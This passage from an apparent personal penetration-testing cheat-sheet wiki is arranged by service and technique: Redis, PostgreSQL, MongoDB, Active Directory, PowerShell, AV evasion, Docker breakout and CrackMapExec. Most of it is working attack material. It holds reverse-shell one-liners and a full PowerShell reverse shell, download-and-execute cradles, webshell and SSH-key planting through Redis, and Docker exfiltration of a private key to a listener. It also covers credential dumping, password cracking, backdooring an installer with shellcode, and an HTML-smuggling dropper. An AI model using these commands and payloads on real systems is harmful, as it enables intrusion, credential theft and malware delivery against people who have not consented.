postgres=# COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.49.115:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;;
COPY 0
</syntaxhighlight>

----

== 5800, 5801, 5900, 5901 - VNC ==

----

== 5985, 5986 - WinRM ==

----
The easiest way to connect to WinRM using C# is to use '''WSMAN Automation'''.

Reference <code>wsmauto.dll</code> from <code>Windows\System32</code> in your project.

The following code should work:

<source lang="csharp">
IWSMan wsman = new WSManClass();
IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();
if (options != null)
{
try
{
// options.UserName = ???;
// options.Password = ???;
IWSManSession session = (IWSManSession)wsman.CreateSession("http://<your_server_name>/wsman", 0, options);
if (session != null)
{
try
{
// retrieve the Win32_Service xml representation
var reply = session.Get("http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt", 0);
// parse xml and dump service name and description
var doc = new XmlDocument();
doc.LoadXml(reply);
foreach (var elementName in new string[] { "p:Caption", "p:Description" })
{
var node = doc.GetElementsByTagName(elementName)[0];
if (node != null) Console.WriteLine(node.InnerText);
}
}
finally
{
Marshal.ReleaseComObject(session);
}
}
}
finally
{
Marshal.ReleaseComObject(options);
}
}
</source>

Source:

* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp]

== 6370 - Redis ==

=== Commands & info ===

<syntaxhighlight lang="bash">
# Service file
/etc/systemd/system/redis.service
# Config file
installdir/redis/etc/redis. conf
</syntaxhighlight>

=== Crontab ===

<syntaxhighlight lang="bash">
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
</syntaxhighlight>

=== Dumping database ===

=== Load module ===

<syntaxhighlight lang="bash">
# See PG Sybaris writeup
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.
# Then you need some way to upload the compiled module
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so
# List loaded modules to check it was correctly loaded: MODULE LIST
# Execute commands:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
Unload the module whenever you want: MODULE UNLOAD mymodule
</syntaxhighlight>

=== Redis-rogue server ===

<syntaxhighlight lang="bash">
# A exploit for Redis(<=5.0.5) RCE
# https://github.com/n0b0dyCN/redis-rogue-server
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379
</syntaxhighlight>

=== SSH ===

[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]

<syntaxhighlight lang="bash">
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa
# 2 Write the public key to a file : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
# 4 Save the public key to the authorized_keys file on redis server:
# 4
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52
</syntaxhighlight>

=== Webshell ===

[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]

<syntaxhighlight lang="bash">
# You must know the path of the Web site folder.
# Try also /var/www/html
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test ""
OK
10.85.0.52:6379> save
OK
</syntaxhighlight>

----

== 27017 - MongoDB ==

=== Crack hash ===

<syntaxhighlight lang="python">
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.
#!/usr/bin/python3
import base64
import hashlib
import hmac
import sys
USERNAME = 'admin'
SALT = 'zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg=='
CLIENT_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK'
SERVER_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D'
ITERATIONS = 15000
TARGET = '/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98='
WORDLIST = '/usr/share/wordlists/rockyou.txt'
def byte_xor(ba1, ba2):
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
def proof(username, password, salt, client_nonce, server_nonce, iterations):
raw_salt = base64.b64decode(salt)
client_first_bare = 'n={},r={}'.format(username, client_nonce)
server_first = 'r={},s={},i={}'.format(server_nonce, salt, iterations)
client_final_without_proof = 'c=biws,r={}'.format(server_nonce)
auth_msg = '{},{},{}'.format(client_first_bare, server_first, client_final_without_proof)
salted_password = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), raw_salt, iterations)
client_key = hmac.digest(salted_password, b'Client Key', 'sha256')
stored_key = hashlib.sha256(client_key).digest()
client_signature = hmac.new(stored_key, auth_msg.encode('utf-8'), 'sha256').digest()
client_proof = byte_xor(client_key, client_signature)
return base64.b64encode(client_proof).decode('utf-8')
counter = 0
with open(WORDLIST) as f:
for candidate in f:
counter = counter + 1
if counter % 1000 == 0:
print('Tried {} passwords'.format(counter))
p = proof(USERNAME, candidate.rstrip('\n'), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)
if p == TARGET:
print('Password found: {}'.format(candidate.rstrip('\n')))
sys.exit(0)
print('Wordlist exhausted with no password found.')
</syntaxhighlight>

----

== 29819 - Windows IoT Core SirepServer ==

[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]

<syntaxhighlight lang="bash">
# Upload file - Example
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe'
# Execute command - Example
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444'
</syntaxhighlight>

----

== Active Directory/Windows ==

https://blog.aghanim.net/?p=2078

=== ASREPRoast ===

=== BloodHound ===

<syntaxhighlight lang="bash">
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.
python3 bloodhound.py -c All -d -u -p '' -ns
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Start neo4j database
./neo4j console
# Start BloodHound
./BloodHound.bin --no-sandbox
</syntaxhighlight>

=== Curated list of commands ===

=== Dump hash ===

<syntaxhighlight lang="bash">
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
</syntaxhighlight>

=== Kerberoast ===

=== Pass The Hash ===

=== Password Spraying ===

<syntaxhighlight lang="bash">
crackmapexec smb -u users.txt -p passwords.txt
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
</syntaxhighlight>

=== PSEXEC.py, PSExec.exe, Evil-WinRM ===

<syntaxhighlight lang="bash">
python3 psexec.py test.local/john:password123@10.10.10.1
</syntaxhighlight>

<syntaxhighlight lang="bash">
# evil-winrm -u svc-alfresco -p 's3rvice' -i 10.10.10.161
</syntaxhighlight>

<syntaxhighlight lang="bash">
# From SysInternals
PsExec.exe -i -u domain\user cmd.exe
</syntaxhighlight>

=== Powershell commands ===

Running powershell x64, and running (IEX) the downloaded ps1 file.

<syntaxhighlight lang="powershell">
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.17:9000/mini-reverse.ps1')
</syntaxhighlight>

Running Powershell on target with ExectionPolicy to bypass

<syntaxhighlight lang="powershell">
powershell.exe -nop -exec bypass
</syntaxhighlight>

Running PowerUp.ps1 on target machine

<syntaxhighlight lang="powershell">
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.17:9000/PowerUp.ps1');Invoke-AllChecks"
</syntaxhighlight>

Downloading SharpHound.exe on target machine

<syntaxhighlight lang="powershell">
(new-object System.Net.WebClient).DownloadFile('http://10.10.14.17:9000/SharpHound.exe', 'C:\Users\[...]\Desktop\SharpHound.exe')
# Execute SharpHound
./SharpHound.exe
</syntaxhighlight>

Running PowerView.ps1 on target machine

<syntaxhighlight lang="powershell">
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.45:5555/PowerView.ps1')
</syntaxhighlight>

Running Nishangs Invoke-PowershellTCP

<syntaxhighlight lang="powershell">
powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.18:9000/shell.ps1')
</syntaxhighlight>

Use invoke webrequest and download script. With -UseBasicParsing. ''-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.''

<syntaxhighlight lang="powershell">
iex (iwr '10.10.14.9:9000/ipw.ps1') -UseBasicParsing
</syntaxhighlight>

Download a file and save it to location.

<syntaxhighlight lang="powershell">
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe
</syntaxhighlight>

Mini-reverseshell.ps1

<syntaxhighlight lang="powershell">
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
</syntaxhighlight>

Powershell location

<syntaxhighlight lang="bash">
# 64-bit Windows
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe
# 32-bit (x86) Windows
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
</syntaxhighlight>

=== User enumeration ===

<syntaxhighlight lang="bash">
./kerbrute_linux_amd64 userenum -d --dc usernames.txt
</syntaxhighlight>

----

== Ansible ==

[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]

<syntaxhighlight lang="bash">
# Run Ad-hoc command
ansible victims -a "whoami"
# Run ad-hoc command as root or other users
# If you don't specify user it will default to root.
ansible victims -a "whoami" --become

## Crack Ansible hash
# Notice the spaces between AES256 and 666...
cat test.yml >
$ANSIBLE_VAULT;1.1;AES256
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764
# Convert to readable hash
https://github.com/willstruggle/john/blob/master/ansible2john.py
python3 ansible2john.py test.yml > ansiblehash
cat ansiblehash >
$ansible$0*0*9661a952b5822af9a210...
# Crack the hash using john or hashcat
john ansiblehash
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt
# Decrypt vault
cat pw.txt >
$ANSIBLE_VAULT;1.1;AES256
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764
cat pw.txt | ansible-vault decrypt
# Use the pass cracked from john or hashcat
Vault password:
lab
# Run the playbook
ansible-playbook playbook.yml --vault-password-file=vault.txt
# OR
ansible-playbook playbook.yml --ask-vault-pass
</syntaxhighlight>

== Artifactory Jfrog ==

<syntaxhighlight lang="bash">
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide
</syntaxhighlight>

== Anti-Virus Evasion (Bypass) ==

[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]

PWK chapter 17

OSEP

=== Test payload against AV ===

https://virustotal.com (Don't use if you want you're payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.

https://antiscan.me

=== Theory ===

<syntaxhighlight lang="bash">
# On-Disk Evasion
- Packers
- Obfuscator
- Crypters
- Software protectors
# In-memory Evasion
- Remote Process Memory Injection
- Reflective DLL Injection
- Process Hollowing
- Inline hooking
</syntaxhighlight>

=== Shellter ===

Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.

It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.

The free version only works for x86, not x64.

<syntaxhighlight lang="bash">
# Install
sudo apt install shellter
apt install wine
# If error
dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32:i386
# Start
shellter
# Download a valid .exe file, ex spotify installer and load it into shellter.
/home/aghanim/downloads/SpotifySetup.exe
# Choose a payload from the list.
L
1
SET LHOST: IP
SET LPORT: PORT
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You'll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter "migrate".
set AutoRunScript post/windows/manage/migrate
-----------------------
# You can also set custom payload
# First generate a binary file with msfvenom. -e is the encoding we're using, and -i is the number of iterations. (The number of times to encode the payload)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw > met.bin
# Start shellter
Choose Operation Mode - Auto/Manual (A/M/H): A
PE Target: /home/kali/poultry/whoami.exe
**********
* Backup *
**********
Backup: Shellter_Backups\whoami.exe
...
Filtering Time Approx: 0.0024 mins.
Enable Stealth Mode? (Y/N/H): N
************
* Payloads *
************
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
Use a listed payload or custom? (L/C/H): C
Select Payload: /home/kali/poultry/met.bin
Is this payload a reflective DLL loader? (Y/N/H): N
****************
* Payload Info *
****************
...
Injection: Verified!
</syntaxhighlight>

[[File:2022-10-image-1.png|thumb]]

[[File:2022-10-image-2.png|thumb]]

=== Veil Framework ===

Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.

<syntaxhighlight lang="bash">
# Install
# https://github.com/Veil-Framework/Veil
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
# If error with (wine) python pip peefile version fix with this
vim /usr/share/veil/config/setup.sh
Change line 587 to:
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
Then, run # veil --setup again.

# Start veil
veil
# or
/usr/share/veil/Veil.py
# Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool

# Generate a powershell script (bat file) for evasion
veil > use evasion
# List payloads
veil > list
# Use powershell rev tcp payload
veil/evasion > use powershell/meterpreter/rev_tcp.py
# List options
[powershell/meterpreter/rev_tcp>>]: options
# Generate payload
[powershell/meterpreter/rev_tcp>>]: generate

# From pic below, payload is in /var/lib/veil/output/source/ folder
</syntaxhighlight>

[[File:2022-10-image-3.png|thumb]]

=== Ebowla ===

<syntaxhighlight lang="bash">
https://github.com/Genetic-Malware/Ebowla
# Use it to obfuscate payloads like JuicyPotato or other exploits.
# Quick demo
https://www.youtube.com/watch?v=rRm3O7w5GHg
</syntaxhighlight>

----

== API ==

[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]

<syntaxhighlight lang="bash">
# Need to have golang installed
apt-get install golang
# build the binary
make build
# symlink your binary
ln -s $(pwd)/dist/kr /usr/local/bin/kr
# compile the wordlist
# kr kb compile
kr kb compile routes.json routes.kite
# scan away
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053
</syntaxhighlight>

== Buffer overflow ==

https://blog.aghanim.net/?p=1932

----

== Browser exploits ==

=== Firefox ===

<syntaxhighlight lang="bash">
# Extract passwords from profile
https://github.com/unode/firefox_decrypt
</syntaxhighlight>

----

----

== Client-Side Code Execution ==

=== HTML Smuggeling ===

HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the
browser to automatically download a file when a user clicks the assigned hyperlink.
</pre>

In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.

<syntaxhighlight lang="bash">
# Generate a staged payload using msfvenom.
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe
# Saved it as base64 as to not lose any data.
base64 msfstaged.exe
</syntaxhighlight>

<syntaxhighlight lang="markup">

function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i
var file ="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA..."
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'msfstaged.exe';

var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);

</syntaxhighlight>

[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]

=== Microsoft Office Macro Client-side Attack ===

https://blog.aghanim.net/?page_id=1809#Microsoft_Word

==== Visual Basic for Applications [VBA] ====

<syntaxhighlight lang="visual">
'VBA Datatype
'Dim is used to declare variables
Dim myString As String # Unicode
Dim myLong As Long # 64-bit integer
Dim myPointer As LongPtr # Memory pointer
'Example - if and else statement
Sub MyMacro()
Dim myLong As Long
myLong = 1
If myLong < 5 Then
MsgBox ("True")
Else
MsgBox ("False")
End If
End Sub

'Example - Launch cmd.exe with a hidden window
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "cmd.exe"
Shell str, vbHide
End Sub
'The picture below show the cmd.exe running as a child process of winword.
</syntaxhighlight>

[[File:2023-02-image-1.png|thumb]]

----

== Certificate Types ==

{| class="wikitable"
|-
! Extension
! Full Name
! Contains
! Format
! Common Use
! Use Case
! Real-World Example
|-
| .cer
| Certificate
| Public key
| Usually in DER or PEM
| Sharing or installing public keys
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates
| Adding a trusted certificate in Windows to access a secure corporate intranet site
|-
| .pem
| Privacy Enhanced Mail
| Certificates and/or private keys
| Base64 encoded text (PEM)
| SSL certificates and private keys, commonly used in web servers
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security
|-
| .crt
| Certificate
| Public key
| Usually in PEM or DER
| Similar to .cer, used for certificates in web servers
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)
| Installing an SSL/TLS certificate from Let's Encrypt (.crt) to secure your website and enable HTTPS
|-
| .pfx
| Personal Information Exchange
| Private key and certificate (often password-protected)
| Binary (PFX)
| Bundling a private key with a certificate, used for importing/exporting certificates
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file
|-
| .key
| Private Key File
| Private key
| Text (usually PEM)
| Storing private keys for SSL certificates, often paired with .crt files
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate
| Using a .key file along with a .crt file to configure HTTPS for a website
|-
| .der
| Distinguished Encoding Rules
| Certificate or private key in binary
| Binary (DER)
| Storing certificates or private keys in binary format
| Used in environments where certificates or keys need to be in a compact, binary format
| Using a .der file to import a certificate in Windows or Java environments
|-
| .csr
| Certificate Signing Request
| Information about an entity requesting a certificate
| Text (usually PEM)
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)
| Generating a .csr to request an SSL/TLS certificate from a CA like Let's Encrypt
| Creating a .csr file to obtain an SSL certificate for your website
|-
| .p7b or .p7c
| PKCS#7 Certificate File
| Certificates in chain (no private key)
| Base64 or Binary
| Sharing a certificate chain
| Importing a full certificate chain in environments like Java keystores
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server
|-
| .jks
| Java KeyStore
| Private keys and certificates
| Binary (JKS)
| Storing certificates and private keys in Java environments
| Storing certificates and keys for Java-based applications like Tomcat
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat
|}

----

== Command and control - C2 framework ==

=== Covenant ===

<syntaxhighlight lang="bash">
# https://github.com/cobbr/Covenant
# Installation and running
git clone --recurse-submodules https://github.com/cobbr/Covenant
# Be sure to install the dotnet core version 3.1 SDK!
# Build and run convenant
$ ~ > git clone --recurse-submodules https://github.com/cobbr/Covenant
$ ~ > cd Covenant/Covenant
$ ~/Covenant/Covenant > dotnet run
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]
Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser
</syntaxhighlight>

=== Powershell-empire (And starkiller) ===

<syntaxhighlight lang="bash">
# https://github.com/EmpireProject/Empire
# Installation and running
sudo ./setup/install.sh
# Or
sudo apt install powershell-empire
# Starkiller
# https://github.com/BC-SECURITY/Starkiller
# Starkiller is a Frontend for Powershell Empire.
# Change the permissions
chmod a+x starkiller-.AppImage
# Then execute
./starkiller-.AppImage --no-sandbox
</syntaxhighlight>

=== Meterpreter ===

<syntaxhighlight lang="bash">
# Log location
~/.msf4/logs/framework.log
# DBMS used is postgresql.
# If IOError, check logs. If Postgresql, check the postgresql logs at:
/var/log/postgresql/...
# Initialize db
msfdb init # only if needed
# Metasploit location
/opt/metasploit-framework/embedded/framework/
</syntaxhighlight>

----

== Compiling exploits ==

=== Compile .asm to elf ===

<syntaxhighlight lang="bash">
nasm -f elf64 thm.asm
ld thm.o -o thm
./thm
THM,Rocks!
</syntaxhighlight>

=== Compile .cpp to .exe ===

<syntaxhighlight lang="bash">
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp
</syntaxhighlight>

=== Compile .cs to .exe ===

<syntaxhighlight lang="bash">
# Using csc
csc payload.cs
# Using mono - https://www.mono-project.com/
mcs payload.cs
</syntaxhighlight>

=== Compile .c to .exe ===

<syntaxhighlight lang="bash">
## Create 32-bit Windows executable with:
i686-w64-mingw32-gcc -o main32.exe main.c
## Create 64-bit Windows executable with:
x86_64-w64-mingw32-gcc -o main64.exe main.c
# Flags:
-lwsock32 and -lws2_32
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.
</syntaxhighlight>

=== Compile .c in linux using --static ===

<syntaxhighlight lang="bash">
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.
gcc 45010.c -o exploit --static

gcc 45010.c -o exploit -z execstack
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.

-------------------------------
# If the above dont work, try this
gcc -o sh.elf sh.c -z execstack -static
upx --best --lzma -o shupx.elf ./sh.elf
</syntaxhighlight>

=== Compile .c to 32-bit windows ===

<syntaxhighlight lang="bash">
gcc exploit.c -m32 -o exploit
</syntaxhighlight>

----

== Docker - Privile Escalation ==

[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]

=== Shell ===

This will create a docker image, that you can run and get a shell with

<syntaxhighlight lang="bash">
# Create a docker file
FROM alpine:latest
ENV WORKIDR /privesc
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR]
WORKDIR $WORKDIR
# Build the docker container
docker build -t imagename .
# Now run the image with /bin/bash. -it means interactive and terminal
docker run -v /:/mountdir -it imagename /bin/bash
root@machine#
-----------------------------------------------
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
</syntaxhighlight>

=== Exfiltrate data ===

See notes for Deployer

<syntaxhighlight lang="bash">
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80
shanah@deployer:/opt$ cat dockerfile
FROM alpine
COPY id_rsa.bak /tmp/id_rsa.bak
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80
# After running the below command, look at your netcat listener.
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .
</syntaxhighlight>

----

== Exec-Tools ==

=== CrackMapExec ===

<syntaxhighlight lang="bash">
https://wiki.porchetta.industries/
# READ MORE IN THE LINK ABOVE!!!!
# SMB commands
# Obtaining creds
# Require Domain Admin or Local Admin
# Dump SAM
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
## Dump LSA
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
## Dump NTDS.dit
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users --enabled
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
## LPAS - If installed on the domain
crackmapexec smb -u user-can-read-laps -p pass --laps
# LDAP
## Dump gMSA
crackmapexec ldap -u -p --gmsa
## LAPS - If installed on the domain
crackmapexec ldap -u user-can-read-laps -p pass -M laps
## Extract gMSA secrets
crackmapexec ldap -u -p --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724
